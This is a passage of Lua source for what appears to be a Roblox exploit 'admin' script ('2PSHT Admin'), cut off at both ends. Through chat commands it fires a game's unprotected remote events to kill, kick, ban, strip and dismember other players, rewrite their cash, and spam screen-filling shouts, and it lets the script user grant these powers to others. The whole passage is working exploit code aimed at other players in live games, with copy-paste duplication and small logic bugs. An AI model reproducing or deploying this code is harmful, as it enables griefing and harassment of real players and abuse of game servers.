  787. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Shirt Graphic"])
  788. else
  789. end
  790. end
  791. end
  792. end)
  793.  
  794. Command11 = playersService[v].Chatted:Connect(function(msg)
  795. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."nayked " then
  796. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  797. if playersService[v].Character:FindFirstChild("Shirt") then
  798. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Shirt)
  799. else
  800. end
  801. if playersService[v].Character:FindFirstChild("Pants") then
  802. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Pants)
  803. else
  804. end
  805. if playersService[v].Character:FindFirstChild("Shirt Graphic") then
  806. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Shirt Graphic"])
  807. else
  808. end
  809. end
  810. end
  811. end)
  812.  
  813. Command12 = playersService[v].Chatted:Connect(function(msg)
  814. if msg:lower():sub(1,9+Prefix:len()) == Prefix.."faceless " then
  815. for i,v in pairs(GetPlayer(string.sub(msg,10+Prefix:len()))) do
  816. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  817. end
  818. end
  819. end)
  820.  
  821. Command13 = playersService[v].Chatted:Connect(function(msg)
  822. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rface " then
  823. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  824. if Uctron.Data._localPlayer.Character.Head:FindFirstChild("face") then
  825. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  826. end
  827. end
  828. end
  829. end)
  830.  
  831. Command14 = playersService[v].Chatted:Connect(function(msg)
  832. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removeface " then
  833. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  834. if Uctron.Data._localPlayer.Character.Head:FindFirstChild("face") then
  835. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  836. end
  837. end
  838. end
  839. end)
  840.  
  841. Command15 = playersService[v].Chatted:Connect(function(msg)
  842. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rhats " then
  843. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  844. for x,o in pairs(playersService[v].Character:GetChildren()) do
  845. if o:IsA("Accessory") then
  846. replicatedStorage.events.destroyObject:FireServer(o)
  847. end
  848. end
  849. end
  850. end
  851. end)
  852.  
  853. Command16 = playersService[v].Chatted:Connect(function(msg)
  854. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removehats " then
  855. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  856. for x,o in pairs(playersService[v].Character:GetChildren()) do
  857. if o:IsA("Accessory") then
  858. replicatedStorage.events.destroyObject:FireServer(o)
  859. end
  860. end
  861. end
  862. end
  863. end)
  864.  
  865. Command17 = playersService[v].Chatted:Connect(function(msg)
  866. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."creeper " then
  867. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  868. if playersService[v].Character.Head:FindFirstChild("Mesh") then
  869. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head.Mesh)
  870. end
  871. if playersService[v].Character:FindFirstChild("Left Arm") then
  872. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  873. end
  874. if playersService[v].Character:FindFirstChild("Right Arm") then
  875. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  876. end
  877. end
  878. end
  879. end)
  880.  
  881. Command18 = playersService[v].Chatted:Connect(function(msg)
  882. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."toolban " then
  883. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  884. table.insert(toolbanned,playersService[v].Name)
  885. end
  886. end
  887. end)
  888.  
  889. Command19 = playersService[v].Chatted:Connect(function(msg)
  890. if msg:lower():sub(1,10+Prefix:len()) == Prefix.."untoolban " then
  891. for i,v in pairs(GetPlayer(string.sub(msg,11+Prefix:len()))) do
  892. for j,k in pairs(toolbanned) do
  893. if string.match(k,v) then
  894. table.remove(toolbanned,j)
  895. end
  896. end
  897. end
  898. end
  899. end)
  900.  
  901. end
  902. end
  903. end
  904. end)
  905.  
  906. createCommand:Connect(function(msg)
  907. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."unmod " then
  908. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  909. for j,k in pairs(moderators) do
  910. if string.match(k,v) then
  911. table.remove(moderators,j)
  912. for _=1,19 do
  913. Command1:Disconnect()
  914. Command2:Disconnect()
  915. Command3:Disconnect()
  916. Command4:Disconnect()
  917. Command5:Disconnect()
  918. Command6:Disconnect()
  919. Command7:Disconnect()
  920. Command8:Disconnect()
  921. Command9:Disconnect()
  922. Command10:Disconnect()
  923. Command11:Disconnect()
  924. Command12:Disconnect()
  925. Command13:Disconnect()
  926. Command14:Disconnect()
  927. Command15:Disconnect()
  928. Command16:Disconnect()
  929. Command17:Disconnect()
  930. Command18:Disconnect()
  931. Command19:Disconnect()
  932. end
  933. end
  934. end
  935. end
  936. end
  937. end)
  938.  
  939. createCommand:Connect(function(msg)
  940. if msg:lower():sub(1,10+Prefix:len()) == Prefix.."moderator " then
  941. for i,v in pairs(GetPlayer(string.sub(msg,11+Prefix:len()))) do
  942. if playersService:FindFirstChild(v) then
  943. table.insert(moderators,playersService[v].Name)
  944. Uctron.SoundFX._notification1:Play()
  945. starterGui:SetCore("SendNotification", {
  946. Title = "2PSHT Admin | Success";
  947. Text = "Moderator powers given to \""..v.."\".";
  948. Icon = "rbxassetid://4595715410";
  949. Duration = 15;
  950. Button1 = "Okay";
  951. })
  952. game.Players[v].Chatted:Connect(function(msg)
  953. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."kill " then
  954. for i,v in pairs(GetPlayer(string.sub(msg,6+Prefix:len()))) do
  955. if playersService[v].Character.Torso:FindFirstChild("Neck") then
  956. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Torso.Neck)
  957. end
  958. runService.RenderStepped:Wait()
  959. end
  960. end
  961. end)
  962.  
  963. Command20 = playersService[v].Chatted:Connect(function(msg)
  964. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."kill " then
  965. for i,v in pairs(GetPlayer(string.sub(msg,6+Prefix:len()))) do
  966. if playersService[v].Character.Torso:FindFirstChild("Neck") then
  967. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Torso.Neck)
  968. end
  969. runService.RenderStepped:Wait()
  970. end
  971. end
  972. end)
  973.  
  974. Command21 = playersService[v].Chatted:Connect(function(msg)
  975. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."cash " then
  976. for i,v in pairs(GetPlayer(string.split(msg, " ")[2])) do
  977. b = string.split(msg, " ")[3]
  978. game:GetService("ReplicatedStorage").Events.changeValue:InvokeServer(game:GetService('ReplicatedStorage').plrData[v].cash, b)
  979. end
  980. end
  981. end)
  982.  
  983. Command22 = playersService[v].Chatted:Connect(function(msg)
  984. if msg:lower():sub(1,10+Prefix:len()) == Prefix.."unpackage " then
  985. for i,v in pairs(GetPlayer(string.sub(msg,11+Prefix:len()))) do
  986. for x,o in pairs(playersService[v].Character:GetChildren()) do
  987. if o:IsA("CharacterMesh") then
  988. replicatedStorage.events.destroyObject:FireServer(o)
  989. end
  990. end
  991. end
  992. end
  993. end)
  994.  
  995. Command23 = playersService[v].Chatted:Connect(function(msg)
  996. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."rlimbs " then
  997. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  998. if playersService[v].Character:FindFirstChild("Left Arm") then
  999. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1000. end
  1001. if playersService[v].Character:FindFirstChild("Right Arm") then
  1002. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1003. end
  1004. if playersService[v].Character:FindFirstChild("Left Leg") then
  1005. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  1006. end
  1007. if playersService[v].Character:FindFirstChild("Right Leg") then
  1008. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  1009. end
  1010. end
  1011. end
  1012. end)
  1013.  
  1014. Command24 = playersService[v].Chatted:Connect(function(msg)
  1015. if msg:lower():sub(1,12+Prefix:len()) == Prefix.."removelimbs " then
  1016. for i,v in pairs(GetPlayer(string.sub(msg,13+Prefix:len()))) do
  1017. if playersService[v].Character:FindFirstChild("Left Arm") then
  1018. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1019. end
  1020. if playersService[v].Character:FindFirstChild("Right Arm") then
  1021. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1022. end
  1023. if playersService[v].Character:FindFirstChild("Left Leg") then
  1024. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  1025. end
  1026. if playersService[v].Character:FindFirstChild("Right Leg") then
  1027. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  1028. end
  1029. end
  1030. end
  1031. end)
  1032.  
  1033. Command25 = playersService[v].Chatted:Connect(function(msg)
  1034. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rarms " then
  1035. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1036. if playersService[v].Character:FindFirstChild("Left Arm") then
  1037. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1038. end
  1039. if playersService[v].Character:FindFirstChild("Left Arm") then
  1040. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1041. end
  1042. end
  1043. end
  1044. end)
  1045.  
  1046. Command26 = playersService[v].Chatted:Connect(function(msg)
  1047. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removearms " then
  1048. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1049. if playersService[v].Character:FindFirstChild("Left Arm") then
  1050. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1051. end
  1052. if playersService[v].Character:FindFirstChild("Left Arm") then
  1053. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1054. end
  1055. end
  1056. end
  1057. end)
  1058.  
  1059. Command27 = playersService[v].Chatted:Connect(function(msg)
  1060. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rlegs " then
  1061. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1062. if playersService[v].Character:FindFirstChild("Left Leg") then
  1063. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  1064. end
  1065. if playersService[v].Character:FindFirstChild("Right Leg") then
  1066. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  1067. end
  1068. end
  1069. end
  1070. end)
  1071.  
  1072. Command28 = playersService[v].Chatted:Connect(function(msg)
  1073. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removelegs " then
  1074. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1075. if playersService[v].Character:FindFirstChild("Left Leg") then
  1076. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  1077. end
  1078. if playersService[v].Character:FindFirstChild("Right Leg") then
  1079. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  1080. end
  1081. end
  1082. end
  1083. end)
  1084.  
  1085. Command29 = playersService[v].Chatted:Connect(function(msg)
  1086. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."naked " then
  1087. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1088. if playersService[v].Character:FindFirstChild("Shirt") then
  1089. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Shirt)
  1090. else
  1091. end
  1092. if playersService[v].Character:FindFirstChild("Pants") then
  1093. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Pants)
  1094. else
  1095. end
  1096. if playersService[v].Character:FindFirstChild("Shirt Graphic") then
  1097. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Shirt Graphic"])
  1098. else
  1099. end
  1100. end
  1101. end
  1102. end)
  1103.  
  1104. Command30 = playersService[v].Chatted:Connect(function(msg)
  1105. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."nayked " then
  1106. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  1107. if playersService[v].Character:FindFirstChild("Shirt") then
  1108. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Shirt)
  1109. else
  1110. end
  1111. if playersService[v].Character:FindFirstChild("Pants") then
  1112. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Pants)
  1113. else
  1114. end
  1115. if playersService[v].Character:FindFirstChild("Shirt Graphic") then
  1116. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Shirt Graphic"])
  1117. else
  1118. end
  1119. end
  1120. end
  1121. end)
  1122.  
  1123. Command31 = playersService[v].Chatted:Connect(function(msg)
  1124. if msg:lower():sub(1,9+Prefix:len()) == Prefix.."faceless " then
  1125. for i,v in pairs(GetPlayer(string.sub(msg,10+Prefix:len()))) do
  1126. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  1127. end
  1128. end
  1129. end)
  1130.  
  1131. Command32 = playersService[v].Chatted:Connect(function(msg)
  1132. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rface " then
  1133. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1134. if Uctron.Data._localPlayer.Character.Head:FindFirstChild("face") then
  1135. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  1136. end
  1137. end
  1138. end
  1139. end)
  1140.  
  1141. Command33 = playersService[v].Chatted:Connect(function(msg)
  1142. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removeface " then
  1143. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1144. if Uctron.Data._localPlayer.Character.Head:FindFirstChild("face") then
  1145. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  1146. end
  1147. end
  1148. end
  1149. end)
  1150.  
  1151. Command34 = playersService[v].Chatted:Connect(function(msg)
  1152. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rhats " then
  1153. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1154. for x,o in pairs(playersService[v].Character:GetChildren()) do
  1155. if o:IsA("Accessory") then
  1156. replicatedStorage.events.destroyObject:FireServer(o)
  1157. end
  1158. end
  1159. end
  1160. end
  1161. end)
  1162.  
  1163. Command35 = playersService[v].Chatted:Connect(function(msg)
  1164. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removehats " then
  1165. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1166. for x,o in pairs(playersService[v].Character:GetChildren()) do
  1167. if o:IsA("Accessory") then
  1168. replicatedStorage.events.destroyObject:FireServer(o)
  1169. end
  1170. end
  1171. end
  1172. end
  1173. end)
  1174.  
  1175. Command36 = playersService[v].Chatted:Connect(function(msg)
  1176. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."creeper " then
  1177. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  1178. if playersService[v].Character.Head:FindFirstChild("Mesh") then
  1179. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head.Mesh)
  1180. end
  1181. if playersService[v].Character:FindFirstChild("Left Arm") then
  1182. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1183. end
  1184. if playersService[v].Character:FindFirstChild("Right Arm") then
  1185. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1186. end
  1187. end
  1188. end
  1189. end)
  1190.  
  1191. Command37 = playersService[v].Chatted:Connect(function(msg)
  1192. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."toolban " then
  1193. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  1194. table.insert(toolbanned,playersService[v].Name)
  1195. end
  1196. end
  1197. end)
  1198.  
  1199. Command38 = playersService[v].Chatted:Connect(function(msg)
  1200. if msg:lower():sub(1,10+Prefix:len()) == Prefix.."untoolban " then
  1201. for i,v in pairs(GetPlayer(string.sub(msg,11+Prefix:len()))) do
  1202. for j,k in pairs(toolbanned) do
  1203. if string.match(k,v) then
  1204. table.remove(toolbanned,j)
  1205. end
  1206. end
  1207. end
  1208. end
  1209. end)
  1210.  
  1211. end
  1212. end
  1213. end
  1214. end)
  1215.  
  1216. createCommand:Connect(function(msg)
  1217. if msg:lower():sub(1,13+Prefix:len()) == Prefix.."unmoderator " then
  1218. for i,v in pairs(GetPlayer(string.sub(msg,14+Prefix:len()))) do
  1219. for j,k in pairs(moderators) do
  1220. if string.match(k,v) then
  1221. table.remove(moderators,j)
  1222. Command20:Disconnect()
  1223. Command21:Disconnect()
  1224. Command32:Disconnect()
  1225. Command23:Disconnect()
  1226. Command24:Disconnect()
  1227. Command25:Disconnect()
  1228. Command26:Disconnect()
  1229. Command27:Disconnect()
  1230. Command28:Disconnect()
  1231. Command29:Disconnect()
  1232. Command30:Disconnect()
  1233. Command31:Disconnect()
  1234. Command32:Disconnect()
  1235. Command33:Disconnect()
  1236. Command34:Disconnect()
  1237. Command35:Disconnect()
  1238. Command36:Disconnect()
  1239. Command37:Disconnect()
  1240. Command38:Disconnect()
  1241. end
  1242. end
  1243. end
  1244. end
  1245. end)
  1246.  
  1247. createCommand:Connect(function(msg)
  1248. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."admin " then
  1249. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1250. if playersService:FindFirstChild(v) then
  1251. table.insert(administrators,playersService[v].Name)
  1252. Uctron.SoundFX._notification1:Play()
  1253. starterGui:SetCore("SendNotification", {
  1254. Title = "2PSHT Admin | Success";
  1255. Text = "Administrator powers given to \""..v.."\".";
  1256. Icon = "rbxassetid://4595715410";
  1257. Duration = 15;
  1258. Button1 = "Okay";
  1259. })
  1260. Command39 = playersService[v].Chatted:Connect(function(msg)
  1261. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."punish " then
  1262. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  1263. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character)
  1264. end
  1265. end
  1266. end)
  1267.  
  1268. Command40 = playersService[v].Chatted:Connect(function(msg)
  1269. if msg:lower():sub(1,8+Prefix:len()) == Prefix.."ragdoll " then
  1270. for i,v in pairs(GetPlayer(string.sub(msg,9+Prefix:len()))) do
  1271. if playersService[v].Character:FindFirstChild("Humanoid") then
  1272. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Humanoid)
  1273. end
  1274. end
  1275. end
  1276. end)
  1277.  
  1278. Command41 = playersService[v].Chatted:Connect(function(msg)
  1279. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."kick " then
  1280. for i,v in pairs(GetPlayer(string.sub(msg,6+Prefix:len()))) do
  1281. if playersService:FindFirstChild(v) then
  1282. replicatedStorage.events.destroyObject:FireServer(playersService[v])
  1283. end
  1284. end
  1285. end
  1286. end)
  1287.  
  1288. Command42 = playersService[v].Chatted:Connect(function(msg)
  1289. if msg:lower():sub(1,4+Prefix:len()) == Prefix.."ban " then
  1290. for i,v in pairs(GetPlayer(string.sub(msg,5+Prefix:len()))) do
  1291. table.insert(banned,playersService[v].Name)
  1292. end
  1293. end
  1294. end)
  1295.  
  1296. Command43 = playersService[v].Chatted:Connect(function(msg)
  1297. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."unban " then
  1298. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1299. for j,k in pairs(banned) do
  1300. if string.match(k,v) then
  1301. table.remove(banned,j)
  1302. end
  1303. end
  1304. end
  1305. end
  1306. end)
  1307.  
  1308. Command44 = playersService[v].Chatted:Connect(function(msg)
  1309. if msg:lower():sub(1,3+Prefix:len()) == Prefix.."cm " then
  1310. local ChatMessage = msg:sub(4+Prefix:len(), #msg)
  1311. replicatedStorage.Events.changeValue:InvokeServer(Uctron.Data._localPlayer.Shouts, 1e10)
  1312. replicatedStorage.Events.Shout:InvokeServer(string.rep("\n",53)..ChatMessage)
  1313. end
  1314. end)
  1315.  
  1316. Command45 = playersService[v].Chatted:Connect(function(msg)
  1317. if msg:lower():sub(1,9+Prefix:len()) == Prefix.."cmessage " then
  1318. local ChatMessage = msg:sub(10+Prefix:len(), #msg)
  1319. replicatedStorage.Events.changeValue:InvokeServer(Uctron.Data._localPlayer.Shouts, 1e10)
  1320. replicatedStorage.Events.Shout:InvokeServer(string.rep("\n",53)..ChatMessage)
  1321. end
  1322. end)
  1323.  
  1324. Command46 = playersService[v].Chatted:Connect(function(msg)
  1325. if msg:lower():sub(1,12+Prefix:len()) == Prefix.."chatmessage " then
  1326. local ChatMessage = msg:sub(13+Prefix:len(), #msg)
  1327. replicatedStorage.Events.changeValue:InvokeServer(Uctron.Data._localPlayer.Shouts, 1e10)
  1328. replicatedStorage.Events.Shout:InvokeServer(string.rep("\n",53)..ChatMessage)
  1329. end
  1330. end)
  1331.  
  1332. Command47 = playersService[v].Chatted:Connect(function(msg)
  1333. if msg:lower():sub(1,9+Prefix:len()) == Prefix.."loopkill " then
  1334. for i,v in pairs(GetPlayer(string.sub(msg,10+Prefix:len()))) do
  1335. table.insert(loopkilled,playersService[v].Name)
  1336. end
  1337. end
  1338. end)
  1339.  
  1340. Command48 = playersService[v].Chatted:Connect(function(msg)
  1341. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."unloopkill " then
  1342. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1343. for j,k in pairs(loopkilled) do
  1344. if string.match(k,v) then
  1345. table.remove(loopkilled,j)
  1346. end
  1347. end
  1348. end
  1349. end
  1350. end)
  1351.  
  1352. Command49 = playersService[v].Chatted:Connect(function(msg)
  1353. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."kill " then
  1354. for i,v in pairs(GetPlayer(string.sub(msg,6+Prefix:len()))) do
  1355. if playersService[v].Character.Torso:FindFirstChild("Neck") then
  1356. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Torso.Neck)
  1357. end
  1358. runService.RenderStepped:Wait()
  1359. end
  1360. end
  1361. end)
  1362.  
  1363. Command50 = playersService[v].Chatted:Connect(function(msg)
  1364. if msg:lower():sub(1,5+Prefix:len()) == Prefix.."cash " then
  1365. for i,v in pairs(GetPlayer(string.split(msg, " ")[2])) do
  1366. b = string.split(msg, " ")[3]
  1367. game:GetService("ReplicatedStorage").Events.changeValue:InvokeServer(game:GetService('ReplicatedStorage').plrData[v].cash, b)
  1368. end
  1369. end
  1370. end)
  1371.  
  1372. Command51 = playersService[v].Chatted:Connect(function(msg)
  1373. if msg:lower():sub(1,10+Prefix:len()) == Prefix.."unpackage " then
  1374. for i,v in pairs(GetPlayer(string.sub(msg,11+Prefix:len()))) do
  1375. for x,o in pairs(playersService[v].Character:GetChildren()) do
  1376. if o:IsA("CharacterMesh") then
  1377. replicatedStorage.events.destroyObject:FireServer(o)
  1378. end
  1379. end
  1380. end
  1381. end
  1382. end)
  1383.  
  1384. Command52 = playersService[v].Chatted:Connect(function(msg)
  1385. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."rlimbs " then
  1386. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  1387. if playersService[v].Character:FindFirstChild("Left Arm") then
  1388. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1389. end
  1390. if playersService[v].Character:FindFirstChild("Right Arm") then
  1391. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1392. end
  1393. if playersService[v].Character:FindFirstChild("Left Leg") then
  1394. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  1395. end
  1396. if playersService[v].Character:FindFirstChild("Right Leg") then
  1397. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  1398. end
  1399. end
  1400. end
  1401. end)
  1402.  
  1403. Command53 = playersService[v].Chatted:Connect(function(msg)
  1404. if msg:lower():sub(1,12+Prefix:len()) == Prefix.."removelimbs " then
  1405. for i,v in pairs(GetPlayer(string.sub(msg,13+Prefix:len()))) do
  1406. if playersService[v].Character:FindFirstChild("Left Arm") then
  1407. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1408. end
  1409. if playersService[v].Character:FindFirstChild("Right Arm") then
  1410. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1411. end
  1412. if playersService[v].Character:FindFirstChild("Left Leg") then
  1413. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  1414. end
  1415. if playersService[v].Character:FindFirstChild("Right Leg") then
  1416. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  1417. end
  1418. end
  1419. end
  1420. end)
  1421.  
  1422. Command54 = playersService[v].Chatted:Connect(function(msg)
  1423. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rarms " then
  1424. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1425. if playersService[v].Character:FindFirstChild("Left Arm") then
  1426. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1427. end
  1428. if playersService[v].Character:FindFirstChild("Left Arm") then
  1429. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1430. end
  1431. end
  1432. end
  1433. end)
  1434.  
  1435. Command55 = playersService[v].Chatted:Connect(function(msg)
  1436. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removearms " then
  1437. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1438. if playersService[v].Character:FindFirstChild("Left Arm") then
  1439. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Arm"])
  1440. end
  1441. if playersService[v].Character:FindFirstChild("Left Arm") then
  1442. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Arm"])
  1443. end
  1444. end
  1445. end
  1446. end)
  1447.  
  1448. Command56 = playersService[v].Chatted:Connect(function(msg)
  1449. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rlegs " then
  1450. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1451. if playersService[v].Character:FindFirstChild("Left Leg") then
  1452. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  1453. end
  1454. if playersService[v].Character:FindFirstChild("Right Leg") then
  1455. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  1456. end
  1457. end
  1458. end
  1459. end)
  1460.  
  1461. Command57 = playersService[v].Chatted:Connect(function(msg)
  1462. if msg:lower():sub(1,11+Prefix:len()) == Prefix.."removelegs " then
  1463. for i,v in pairs(GetPlayer(string.sub(msg,12+Prefix:len()))) do
  1464. if playersService[v].Character:FindFirstChild("Left Leg") then
  1465. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Left Leg"])
  1466. end
  1467. if playersService[v].Character:FindFirstChild("Right Leg") then
  1468. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Right Leg"])
  1469. end
  1470. end
  1471. end
  1472. end)
  1473.  
  1474. Command58 = playersService[v].Chatted:Connect(function(msg)
  1475. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."naked " then
  1476. for i,v in pairs(GetPlayer(string.sub(msg,7+Prefix:len()))) do
  1477. if playersService[v].Character:FindFirstChild("Shirt") then
  1478. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Shirt)
  1479. else
  1480. end
  1481. if playersService[v].Character:FindFirstChild("Pants") then
  1482. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Pants)
  1483. else
  1484. end
  1485. if playersService[v].Character:FindFirstChild("Shirt Graphic") then
  1486. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Shirt Graphic"])
  1487. else
  1488. end
  1489. end
  1490. end
  1491. end)
  1492.  
  1493. Command59 = playersService[v].Chatted:Connect(function(msg)
  1494. if msg:lower():sub(1,7+Prefix:len()) == Prefix.."nayked " then
  1495. for i,v in pairs(GetPlayer(string.sub(msg,8+Prefix:len()))) do
  1496. if playersService[v].Character:FindFirstChild("Shirt") then
  1497. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Shirt)
  1498. else
  1499. end
  1500. if playersService[v].Character:FindFirstChild("Pants") then
  1501. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Pants)
  1502. else
  1503. end
  1504. if playersService[v].Character:FindFirstChild("Shirt Graphic") then
  1505. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character["Shirt Graphic"])
  1506. else
  1507. end
  1508. end
  1509. end
  1510. end)
  1511.  
  1512. Command60 = playersService[v].Chatted:Connect(function(msg)
  1513. if msg:lower():sub(1,9+Prefix:len()) == Prefix.."faceless " then
  1514. for i,v in pairs(GetPlayer(string.sub(msg,10+Prefix:len()))) do
  1515. replicatedStorage.events.destroyObject:FireServer(playersService[v].Character.Head:FindFirstChildOfClass("Decal"))
  1516. end
  1517. end
  1518. end)
  1519.  
  1520. Command61 = playersService[v].Chatted:Connect(function(msg)
  1521. if msg:lower():sub(1,6+Prefix:len()) == Prefix.."rface " then
